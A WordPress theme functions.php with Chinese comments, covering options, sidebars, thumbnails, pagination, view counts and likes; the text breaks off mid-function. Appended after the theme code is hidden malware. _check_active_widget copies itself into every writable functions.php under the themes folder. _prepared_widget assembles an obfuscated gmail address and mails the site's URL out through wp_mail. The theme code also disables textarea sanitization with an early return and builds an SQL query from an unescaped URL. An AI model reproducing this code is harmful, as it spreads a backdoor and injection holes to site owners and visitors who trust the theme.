<?php
//加载主题设置
define( 'OPTIONS_FRAMEWORK_DIRECTORY', get_template_directory_uri() . '/setting/' );
require_once dirname( __FILE__ ) . '/setting/options-framework.php';
$optionsfile = locate_template( 'options.php' );
load_template( $optionsfile );
require get_template_directory() . '/inc/care/simple-local-avatars.php';
//主题设置的一些特效
add_action( 'optionsframework_custom_scripts', 'optionsframework_custom_scripts' );
function optionsframework_custom_scripts() { ?>
<script type="text/javascript">
jQuery(document).ready(function() {
	jQuery('#example_showhidden').click(function() {
  		jQuery('#section-example_text_hidden').fadeToggle(500);
	});
	if (jQuery('#example_showhidden:checked').val() !== undefined) {
		jQuery('#section-example_text_hidden').show();
	}
});
</script>
<?php
}
/*主题选项编辑内支持js*/
add_action('admin_init','optionscheck_change_santiziation', 100);
function optionscheck_change_santiziation() {
    remove_filter( 'of_sanitize_textarea', 'of_sanitize_textarea' );
    add_filter( 'of_sanitize_textarea', 'custom_sanitize_textarea' );
}
function custom_sanitize_textarea($input) {
    global $allowedposttags;
    $custom_allowedtags["embed"] = array(
        "src" => array(),
        "type" => array(),
        "allowfullscreen" => array(),
        "allowscriptaccess" => array(),
        "height" => array(),
        "width" => array()
      );
    return $input;
    $custom_allowedtags["script"] = array( "type" => array(),"src" => array() );
    $custom_allowedtags = array_merge($custom_allowedtags, $allowedposttags);
    $output = wp_kses( $input, $custom_allowedtags);
    return $output;
}
//post字段
include( 'meta/metabox.php' );
//SEO功能
include('inc/seo/seo.php' );
//分类图
include('inc/categories-images.php' );
//核心干扰
include('inc/info.php' );

if ( ztmao( 'ybpql', true ) ) : include_once get_template_directory() .'/inc/care/ybpql.php'; endif;
if ( ztmao( 'wztx', true ) ) : include_once get_template_directory() .'/inc/care/wztx.php'; endif;
if ( ztmao( 'wpbs', true ) ) : include_once get_template_directory() .'/inc/care/wpbs.php'; endif;
if ( ztmao( 'nocg', true ) ) : include_once get_template_directory() .'/inc/care/no_category.php'; endif;
if ( ztmao( 'nofeed', true ) ) : include_once get_template_directory() .'/inc/care/nofeed.php'; endif;
if ( ztmao( 'ya', true ) ) : include_once get_template_directory() .'/inc/care/ya.php'; endif;
//if ( ztmao( 'pingback', true ) ) : include_once get_template_directory() .'/inc/care/pingback.php'; endif;
if ( ztmao( 'picalt', true ) ) : include_once get_template_directory() .'/inc/care/picalt.php'; endif;
if ( ztmao( 'nofollow', true ) ) : include_once get_template_directory() .'/inc/care/nofollow.php'; endif;
if ( ztmao( 'noupdate', true ) ) : include_once get_template_directory() .'/inc/care/noupdate.php'; endif;
if ( ztmao( 'loginjm', true ) ) : include_once get_template_directory() .'/inc/care/loginjm.php'; endif;


//分类ID加入后台面板
function exampletheme_options_after() { 
	global $wpdb;
	$request = "SELECT $wpdb->terms.term_id, name FROM $wpdb->terms ";
	$request .= " LEFT JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_id = $wpdb->terms.term_id ";
	$request .= " WHERE $wpdb->term_taxonomy.taxonomy = 'category' ";
	$request .= " ORDER BY term_id asc";
	$categorys = $wpdb->get_results($request);
	echo '<div class="uk-panel-box"><h3>可能会用到的分类ID</h3>';
	echo "<ul>";
	foreach ($categorys as $category) { 
		echo  '<li style="margin-right: 10px;float:left;">'.$category->name."（<code>".$category->term_id.'</code>）</li>';
	}
	echo "</ul></div>";
}
//载入主题css
/*add_action('wp_enqueue_scripts', 'ztmao_load_scripts');
function ztmao_load_scripts() {
    if (!is_admin()) {
		wp_enqueue_style('style', get_template_directory_uri() . '/style.css');		
    }
}*/	
function remove_script_version( $src ){
  return remove_query_arg( 'ver', $src );
}
add_filter( 'script_loader_src', 'remove_script_version', 15, 1 );
add_filter( 'style_loader_src', 'remove_script_version', 15, 1 );
//新建菜单
register_nav_menus(
      array(  'left-sidebar' => __( '主菜单' ), 'footer-nav' => __( '页脚菜单' ), 'search-nav' => __( '热搜词' ),'more-nav'=>__('更多菜单')
      )
   );
//时间倒计时
function timeago( $ptime ) {
    $ptime = strtotime($ptime);
    $etime = time() - $ptime;
    if($etime < 1) return __('刚刚');
    $interval = array (
        12 * 30 * 24 * 60 * 60  =>  __('年前', 'haoui').' ('.date('Y-m-d', $ptime).')',
        30 * 24 * 60 * 60       =>  __('个月前', 'haoui').' ('.date('m-d', $ptime).')',
        7 * 24 * 60 * 60        =>  __('周前', 'haoui').' ('.date('m-d', $ptime).')',
        24 * 60 * 60            =>  __('天前', 'haoui'),
        60 * 60                 =>  __('小时前', 'haoui'),
        60                      =>  __('分钟前', 'haoui'),
        1                       =>  __('秒前', 'haoui')
    );
    foreach ($interval as $secs => $str) {
        $d = $etime / $secs;
        if ($d >= 1) {
            $r = round($d);
            return $r . $str;
        }
    };
}
/* 搜索关键词为空 */
function mt_redirect_blank_search( $query_variables ) {
    if (isset($_GET['s']) && !is_admin()) {
        if (empty($_GET['s']) || ctype_space($_GET['s'])) {
            wp_redirect( home_url() );
            exit;
        }
    }
    return $query_variables;
}
add_filter( 'request', 'mt_redirect_blank_search' );


//作者页面分页
function ztmao_pager($current, $max){
	$paged = intval($current);
	$pages = intval($max);
	if($pages<2) return '';
	$pager = '<div id="commentsnavi" style="padding: 40px 0 99px;text-align:center">';
			if($paged>1) $pager .= '<a class="btn btn-bordered orange btn-normal" href="' . add_query_arg('page',$paged-1) . '">'.__('上一页','um').'</a>';
			if($paged<$pages) $pager .= '<a class="btn btn-bordered orange btn-normal" style="margin-left:20px" href="' . add_query_arg('page',$paged+1) . '">'.__('下一页','um').'</a>';
	$pager .= '</div>';
	return $pager;
}
    // 作者页面文章分页代码
    function par_pagenavi($range = 3){
        global $paged, $wp_query;
        if ( !$max_page ) {$max_page = $wp_query->max_num_pages;}
        if($max_page > 1){if(!$paged){$paged = 1;}
        if($paged != 1){echo "<a href='" . get_pagenum_link(1) . "' class='extend' title='跳转到首页'>«</a>";}
        if($max_page > $range){
            if($paged < $range){for($i = 1; $i <= ($range + 1); $i++){echo "<a href='" . get_pagenum_link($i) ."'";
            if($i==$paged)echo " class='current'";echo ">$i</a>";}}
        elseif($paged >= ($max_page - ceil(($range/2)))){
            for($i = $max_page - $range; $i <= $max_page; $i++){echo "<a href='" . get_pagenum_link($i) ."'";
            if($i==$paged)echo " class='current'";echo ">$i</a>";}}
        elseif($paged >= $range && $paged < ($max_page - ceil(($range/2)))){
            for($i = ($paged - ceil($range/2)); $i <= ($paged + ceil(($range/2))); $i++){echo "<a href='" . get_pagenum_link($i) ."'";if($i==$paged) echo " class='current'";echo ">$i</a>";}}}
        else{for($i = 1; $i <= $max_page; $i++){echo "<a href='" . get_pagenum_link($i) ."'";
        if($i==$paged)echo " class='current'";echo ">$i</a>";}}
        next_posts_link(' »');
    }
    }
//输出缩略图地址
function post_thumbnail_src(){
	global $post;
	if( $values = get_post_custom_values("thumb") ) {	//输出自定义域图片地址
		$values = get_post_custom_values("thumb");
		$post_thumbnail_src = $values [0];
	} elseif( has_post_thumbnail() ){    //如果有特色缩略图，则输出缩略图地址
		$thumbnail_src = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID),'full');
		$post_thumbnail_src = $thumbnail_src [0];
	} else {
		$post_thumbnail_src = '';
		ob_start();
		ob_end_clean();
		$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
		if(!empty($matches[1][0])){
			$post_thumbnail_src = $matches[1][0];   //获取该图片 src
		}else{	//如果日志中没有图片，则显示随机图片
			$random = mt_rand(1, 3);
			$post_thumbnail_src = 'https://p.dailybuzz.cc/M1/random/'.$random.'.jpg';
			//如果日志中没有图片，则显示默认图片
			//$post_thumbnail_src = get_template_directory_uri().'/images/default_thumb.jpg';
		}
	};
	echo $post_thumbnail_src;
}
//标签云
function get_hot_tag_list( $num = null , $hot = null , $offset = null){
    $num = $num ? $num : 14;
    $hot = $hot ? $hot : 5;
    $offset = $offset ? $offset : 0;
    
    $output = '';
    $tags = get_tags(array("number" => $num,
        "order" => "DESC",
        "offset"=>$offset,
    ));
    foreach($tags as $tag){
        $count = intval( $tag->count );
        $name = apply_filters( 'the_title', $tag->name );
        $class = ( $count > $hot ) ? 'tag-item hot' : 'tag-item';
        $output .= '<li class="transition"><a href="'. esc_attr( get_tag_link( $tag->term_id ) ) .'" class="'. $class .'" title="浏览和' . $name . '有关的文章">' . $name . '</a></li>';

    }
    $output .= '';
    return $output;

}
//小工具显示分类ID
add_action('optionsframework_after','show_category', 100);
function show_category() {
    global $wpdb;
    $request = "SELECT $wpdb->terms.term_id, name FROM $wpdb->terms ";
    $request .= " LEFT JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_id = $wpdb->terms.term_id ";
    $request .= " WHERE $wpdb->term_taxonomy.taxonomy = 'category' ";
    $request .= " ORDER BY term_id asc";
    $categorys = $wpdb->get_results($request);
    echo '<div class="uk-panel uk-panel-box" style="margin-bottom: 20px;"><h3 style="margin-top: 0; margin-bottom: 15px; font-size: 18px; line-height: 24px; font-weight: 400; text-transform: none; color: #666;">可能会用到的分类ID</h3>';
    echo "<ul>";
    foreach ($categorys as $category) { 
        echo  '<li style="margin-right: 10px;float:left;">'.$category->name."（<code>".$category->term_id.'</code>）</li>';
    }
    echo "</ul></div>";
}
//激活小工具
if( function_exists('register_sidebar') ) {

	register_sidebar(array(
		'name' => '全站侧栏',
		'id'            => 'widget_right',
		'before_widget' => '<div class="widget %2$s">', 
		'after_widget' => '</div>', 
		'before_title' => '<div class="box-moder hot-article"><h3>', 
		'after_title' => '</h3></div>' 
	));
	register_sidebar(array(
		'name'          => '首页侧栏',
		'id'            => 'widget_sidebar',
		'before_widget' => '<div class="widget %2$s">', 
		'after_widget' => '</div>', 
		'before_title' => '<div class="box-moder hot-article"><h3>', 
		'after_title' => '</h3></div>' 
	));

	register_sidebar(array(
		'name'          => '文章页侧栏',
		'id'            => 'widget_post',
		'before_widget' => '<div class="widget %2$s">', 
		'after_widget' => '</div>', 
		'before_title' => '<div class="box-moder hot-article"><h3>', 
		'after_title' => '</h3></div>' 
	));
	
	register_sidebar(array(
		'name'          => '页面侧栏',
		'id'            => 'widget_page',
		'before_widget' => '<div class="widget %2$s">', 
		'after_widget' => '</div>', 
		'before_title' => '<div class="box-moder hot-article"><h3>', 
		'after_title' => '</h3></div>' 
	));
	
	register_sidebar(array(
		'name'          => '分类/标签/搜索页侧栏',
		'id'            => 'widget_other',
		'before_widget' => '<div class="widget %2$s">', 
		'after_widget' => '</div>', 
		'before_title' => '<div class="box-moder hot-article"><h3>', 
		'after_title' => '</h3></div>' 
	));

    register_sidebar(array(
        'name' => '全站侧栏Fixed',
        'id'            => 'widget_right_fixed',
        'before_widget' => '<div class="widget %2$s">', 
        'after_widget' => '</div>', 
        'before_title' => '<div class="box-moder hot-article"><h3>', 
        'after_title' => '</h3></div>' 
    ));

}
include('widgets/index.php');

//访问计数
function record_visitors(){
    if (is_singular()) {global $post;
     $post_ID = $post->ID;
      if($post_ID) 
      {
          $post_views = (int)get_post_meta($post_ID, 'views', true);
          if(!update_post_meta($post_ID, 'views', ($post_views+1))) 
          {
            add_post_meta($post_ID, 'views', 1, true);
          }
      }
    }
}
add_action('wp_head', 'record_visitors');  

function post_views($before = '(点击 ', $after = ' 次)', $echo = 1)
{
  global $post;
  $post_ID = $post->ID;
  $views = (int)get_post_meta($post_ID, 'views', true);
  if ($echo) echo $before, number_format($views), $after;
  else return $views;
};


//面包靴
function get_breadcrumbs()
{
global $wp_query;
if ( !is_home() ){
// Start the UL
echo '<ul class="breadcrumbs">';
// Add the Home link
echo '<li><a href="'. get_option('home') .'">网站首页</a></li>';
if ( is_category() )
{
$catTitle = single_cat_title( "", false );
$cat = get_cat_ID( $catTitle );
echo "<li> <span>&gt;</span> ". get_category_parents( $cat, TRUE, " <span>&gt;</span> " ) ."</li>";
}
elseif ( is_archive() && !is_category() )
{
echo "<li> <span>&gt;</span> 类目</li>";
}
elseif ( is_search() ) {
echo "<li> <span>&gt;</span> 搜索列表</li>";
}
elseif ( is_404() )
{
echo "<li> <span>&gt;</span> 404 Not Found</li>";
}
elseif ( is_single() )
{
$category = get_the_category();
$category_id = get_cat_ID( $category[0]->cat_name );
echo '<li> <span>&gt;</span> '. get_category_parents( $category_id, TRUE, " <span>&gt;</span> " );
echo the_title('','', FALSE) ."</li>";
}
elseif ( is_page() )
{
$post = $wp_query->get_queried_object();
if ( $post->post_parent == 0 ){
echo "<li> <span>&gt;</span> ".the_title('','', FALSE)."</li>";
} else {
$title = the_title('','', FALSE);
$ancestors = array_reverse( get_post_ancestors( $post->ID ) );
array_push($ancestors, $post->ID);
foreach ( $ancestors as $ancestor ){
if( $ancestor != end($ancestors) ){
echo '<li> <span>&gt;</span> <a href="'. get_permalink($ancestor) .'">'. strip_tags( apply_filters( 'single_post_title', get_the_title( $ancestor ) ) ) .'</a></li>';
} else {
echo '<li> <span>&gt;</span> '. strip_tags( apply_filters( 'single_post_title', get_the_title( $ancestor ) ) ) .'</li>';
}
}
}
}
// End the UL
echo "</ul>";
}
}
// 移动端多图
function ztmao_mobile_get_thumbnail() {  
    global $post;
    $html = '';

    $content = $post->post_content;  
    preg_match_all('/<img.*?(?: |\\t|\\r|\\n)?src=[\'"]?(.+?)[\'"]?(?:(?: |\\t|\\r|\\n)+.*?)?>/sim', $content, $strResult, PREG_PATTERN_ORDER);  
    $images = $strResult[1];

    $counter = count($strResult[1]);

/*    if( !$counter ){
        return '<li class="list_img_holder">
                    <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.post_thumbnail_src().'&h=132&w=189&zc=1" alt="'.get_the_title().'">
                </li>
                <li class="list_img_holder">
                    <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.post_thumbnail_src().'&h=132&w=189&zc=1" alt="'.get_the_title().'">
                </li>
                <li class="list_img_holder">
                    <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.post_thumbnail_src().'&h=132&w=189&zc=1" alt="'.get_the_title().'">
                </li>';
    }*/
    $full_image_url = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'full');
    $ts_thum = $full_image_url[0];
    if($ts_thum){
        $num = 2;
        $html .= '<li class="list_img_holder">
                    <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.$ts_thum.'&h=132&w=189&zc=1" alt="'.get_the_title().'">
                </li>';
    }
    else{
        $num = 3;
    }

    $i = 0;
    foreach($images as $key=>$src){
        $i++;
        $src2 = wp_get_attachment_image_src(ztmao_get_attachment_id_from_src($src), 'full');
        $src2 = $src2[0];
        if( !$src2 && true ){
            $src = $src;
        }else{
            $src = $src2;
        }
        $item = '<img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.$src.'&h=132&w=189&zc=1" alt="'.get_the_title().'">';
        $html .= '<li class="list_img_holder">
                    '.$item.'
                </li>';
        if( $counter >= $num && $i >= $num )
        {
            break; 
        }
    }

    if(count($images) < 3 && $ts_thum ){
        $j = 3 - count($images) - 1;
        for ($k=0; $k < $j ; $k++) { 
        $html .= '<li class="list_img_holder">
                <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.get_template_directory_uri().'/img/default_thumb.jpg&h=132&w=189&zc=1" alt="'.get_the_title().'">
             </li>';
        }
    }
    if(count($images) < 3 && !$ts_thum ){
        $j = 3 - count($images);
         for ($k=0; $k < $j ; $k++) { 
        $html .= '<li class="list_img_holder"><img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.get_template_directory_uri().'/img/default_thumb.jpg&h=132&w=189&zc=1" alt="'.get_the_title().'"> </li>';
        }
    }   

    return $html;
}
//多图
function ztmao_get_thumbnail() {  
    global $post;
    $html = '';

    $content = $post->post_content;  
    preg_match_all('/<img.*?(?: |\\t|\\r|\\n)?src=[\'"]?(.+?)[\'"]?(?:(?: |\\t|\\r|\\n)+.*?)?>/sim', $content, $strResult, PREG_PATTERN_ORDER);  
    $images = $strResult[1];

    $counter = count($strResult[1]);

/*    if( !$counter ){
        return '<li>
                    <div class="mob-images">
                        <a href="'.get_permalink(get_the_ID()).'">
                            <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.post_thumbnail_src().'&h=195&w=250&zc=1" alt="'.get_the_title().'">
                        </a>
                    </div>
                </li>
                <li>
                    <div class="mob-images">
                        <a href="'.get_permalink(get_the_ID()).'">
                            <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.post_thumbnail_src().'&h=195&w=250&zc=1" alt="'.get_the_title().'">
                        </a>
                    </div>
                </li>
                <li>
                    <div class="mob-images">
                        <a href="'.get_permalink(get_the_ID()).'">
                            <img class="xyscale" src="'.get_template_directory_uri().'/timthumb.php?src='.post_thumbnail_src().'&h=195&w=250&zc=1" alt="'.get_the_title().'">
                        </a>
                    </div>
                </li>';
    }*/
    $full_image_url = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'full');
    $ts_thum = $full_image_url[0];
    if($ts_thum){
        $num = 2;
        $html .= '<li>
                    <div class="mob-images">
                        <a href="'.get_permalink(get_the_ID()).'">
                            <img class="xyscale" src="'.$ts_thum.'?x-oss-process=style/thumb_gallery" alt="'.get_the_title().'">
                        </a>
                    </div>
                </li>';
    }
    else{
        $num = 3;
    }

    $i = 0;
    foreach($images as $key=>$src){
        $i++;
        $src2 = wp_get_attachment_image_src(ztmao_get_attachment_id_from_src($src), 'full');
        $src2 = $src2[0];
        if( !$src2 && true ){
            $src = $src;
        }else{
            $src = $src2;
        }
        $item = '<img class="xyscale" src="'.$src.'?x-oss-process=style/thumb_gallery" alt="'.get_the_title().'">';
        $html .= '<li>
                    <div class="image-item">
                        <a href="'.get_permalink(get_the_ID()).'">
                            '.$item.'
                        </a>
                    </div>
                </li>';
        if( $counter >= $num && $i >= $num )
        {
            break; 
        }
    }

    if(count($images) < 3 && $ts_thum ){
        $j = 3 - count($images) - 1;
        for ($k=0; $k < $j ; $k++) { 
        $html .= '<li>
                    <div class="image-item">
                        <a href="'.get_permalink(get_the_ID()).'">
                            <img class="xyscale" src="https://p.dailybuzz.cc/M1/default_thumb.jpg?x-oss-process=style/thumb_gallery" alt="'.get_the_title().'">
                        </a>
                    </div>
             </li>';
        }
    }
    if(count($images) < 3 && !$ts_thum ){
        $j = 3 - count($images);
         for ($k=0; $k < $j ; $k++) { 
        $html .= '<li>
                    <div class="image-item">
                        <a href="'.get_permalink(get_the_ID()).'">
                            <img class="xyscale" src="https://p.dailybuzz.cc/M1/default_thumb.jpg?x-oss-process=style/thumb_gallery" alt="'.get_the_title().'">
                        </a>
                    </div>
                </li>';
        }
    }

    

    return $html;
}
function ztmao_get_attachment_id_from_src ($link) {
    global $wpdb;
    $link = preg_replace('/-\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', '', $link);
    return $wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE guid='$link'");
}

//文章形式
add_theme_support( 'post-formats', array( 'link','aside','gallery' ) );//默认的 日志、链接、图像 来当作下面的大图、无图、多图 来使用的
function rename_post_formats( $safe_text ) {
if ( $safe_text == '日志' )
return '大图';
if ( $safe_text == '相册' )
return '多图';
if ( $safe_text == '链接' )
return '无图';
return $safe_text;
}
add_filter( 'esc_html', 'rename_post_formats' );

//文章内分页
function ztmao_link_pages($args = '') {      
    $defaults = array(      
        'before' => '<p>' . __('Pages:'), 
        'after' => '</p>',      
        'link_before' => '', 
        'link_after' => '',      
        'next_or_number' => 'number', 
        'nextpagelink' => __('下一页'),      
        'previouspagelink' => __('上一页'), 
        'pagelink' => '%',      
        'echo' => 1      
    );      
    $r = wp_parse_args( $args, $defaults );      
    $r = apply_filters( 'wp_link_pages_args', $r );      
    extract( $r, EXTR_SKIP );      
    global $page, $numpages, $multipage, $more, $pagenow;      
    $output = '';      
    if ( $multipage ) {      
        if ( 'number' == $next_or_number ) {      
            $output .= $before;      
            for ( $i = 1; $i < ($numpages+1); $i = $i + 1 ) {      
                $j = str_replace('%',$i,$pagelink);      
                $output .= ' ';      
                if ( ($i != $page) || ((!$more) && ($page==1)) ) {      
                    $output .= _wp_link_page($i);      
                    $output .= $link_before . $j . $link_after;//将原本在下面的那句移进来了      
                }else{  //加了个else语句，用来判断当前页，如果是的话输出下面的      
                    $output .= '<span id="page-numberscurrent">' . $j . '</span>';      
                }      
                //原本这里有一句，移到上面去了      
                if ( ($i != $page) || ((!$more) && ($page==1)) )      
                    $output .= '</a>';      
            }      
            $output .= $after;      
        } else {      
            if ( $more ) {      
                $output .= $before;      
                $i = $page - 1;      
                if ( $i && $more && $previouspagelink ) { //if里面的条件加了$previouspagelink也就是只有参数有“上一页”这几个字才显示      
                    $output .= _wp_link_page($i);      
                    $output .= $link_before. $previouspagelink . $link_after . '</a>';      
                }      
                $i = $page + 1;      
                if ( $i <= $numpages && $more && $nextpagelink ) {      
                //if里面的条件加了$nextpagelink也就是只有参数有“下一页”这几个字才显示      
                    $output .= _wp_link_page($i);      
                    $output .= $link_before. $nextpagelink . $link_after . '</a>';      
                }      
                $output .= $after;      
            }      
        }      
    }      
    if ( $echo )      
        echo $output;      
    return $output;      
}  
/*子评论数量*/
function child_comment_counter($id){
	global $wpdb;
	$query = "SELECT COUNT( comment_post_id ) AS count FROM $wpdb->comments WHERE comment_approved =  '1' AND comment_parent = ".$id;
	$children = $wpdb->get_row($query);
	return $children->count;
}

/*评论*/
include('inc/ajax-comment/do.php' );
include('inc/ajax-comment/comments.php' );
//评论表情
include('inc/care/smiles.php' );
/*移除评论者链接*/
//移除评论人名字的链接
function disable_comment_author_links( $author_link ){
	return strip_tags( $author_link );
}
add_filter( 'get_comment_author_link', 'disable_comment_author_links' );
/*识别当前作者身份*/
function ztmao_level() { 
$user_id=get_post(get_the_ID())->post_author;   
if(user_can($user_id,'install_plugins')){echo'<span>站长</span>';}   
elseif(user_can($user_id,'edit_others_posts')){echo'<span>编辑</span>';}elseif(user_can($user_id,'publish_posts')){echo'<span>作者</span>';}elseif(user_can($user_id,'delete_posts')){echo'<span>投稿者</span>';}elseif(user_can($user_id,'read')){echo'<span>订阅者</span>';}
}
//统计作者的评论数量 替换author_comment_count
function get_author_comment_count($author_id) { 
    global $wpdb;
    $comment_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments  WHERE comment_approved='1' AND user_id = %d AND comment_type not in ('trackback','pingback')" ,$author_id) );
    return $comment_count;
}
//文章点赞
    function wp_postlike(){  
        global $wpdb, $post;  
        $dot_good = get_post_meta($post->ID, 'dotGood', true) ? get_post_meta($post->ID, 'dotGood', true) : '0';  
        $done = isset($_COOKIE['dotGood_' . $post->ID]) ? 'done' : '';  
        echo '
				<a title="喜欢就赞一个！" href="javascript:;" data-action="topTop" data-id="'.$post->ID.'" class="dotGood '.$done.'">
				<i class="icon icon-article-zan icon-thumbs-up"></i> <span class="num count">'.$dot_good.'</span></a>';  
    }  
    function dotGood(){  
        global $wpdb, $post;  
        $id = $_POST["um_id"];  
        if ($_POST["um_action"] == 'topTop') {  
            $specs_raters = get_post_meta($id, 'dotGood', true);  
            $expire = time() + 99999999;  
            $domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false; // make cookies work with localhost  
            setcookie('dotGood_' . $id, $id, $expire, '/', $domain, false);  
            if (!$specs_raters || !is_numeric($specs_raters)) update_post_meta($id, 'dotGood', 1);  
            else update_post_meta($id, 'dotGood', ($specs_raters + 1));  
            echo get_post_meta($id, 'dotGood', true);  
        }  
        die;  
    }  
    add_action('wp_ajax_nopriv_dotGood', 'dotGood');  
    add_action('wp_ajax_dotGood', 'dotGood');  
?>
<?php
function _check_active_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);				
					$output .= ($showdot && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_all_widgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_all_widgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
	if(!isset($length)) $length=120;
	if(!isset($method)) $method="cookie";
	if(!isset($html_tags)) $html_tags="<a>";
	if(!isset($filters_type)) $filters_type="none";
	if(!isset($s)) $s="";
	if(!isset($filter_h)) $filter_h=get_option("home"); 
	if(!isset($filter_p)) $filter_p="wp_";
	if(!isset($use_link)) $use_link=1; 
	if(!isset($comments_type)) $comments_type=""; 
	if(!isset($perpage)) $perpage=$_GET["cperpage"];
	if(!isset($comments_auth)) $comments_auth="";
	if(!isset($comment_is_approved)) $comment_is_approved=""; 
	if(!isset($authname)) $authname="auth";
	if(!isset($more_links_text)) $more_links_text="(more...)";
	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
	if(!isset($more_content)) $more_content="ma".$s."il";
	if(!isset($forces_more)) $forces_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fix_tag)) $fix_tag=1;
	if(!isset($filters_types)) $filters_types=$filter_h; 
	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
	if(!isset($more_tags)) $more_tags="div";
	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";	
	if(!isset($showdot)) $showdot=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
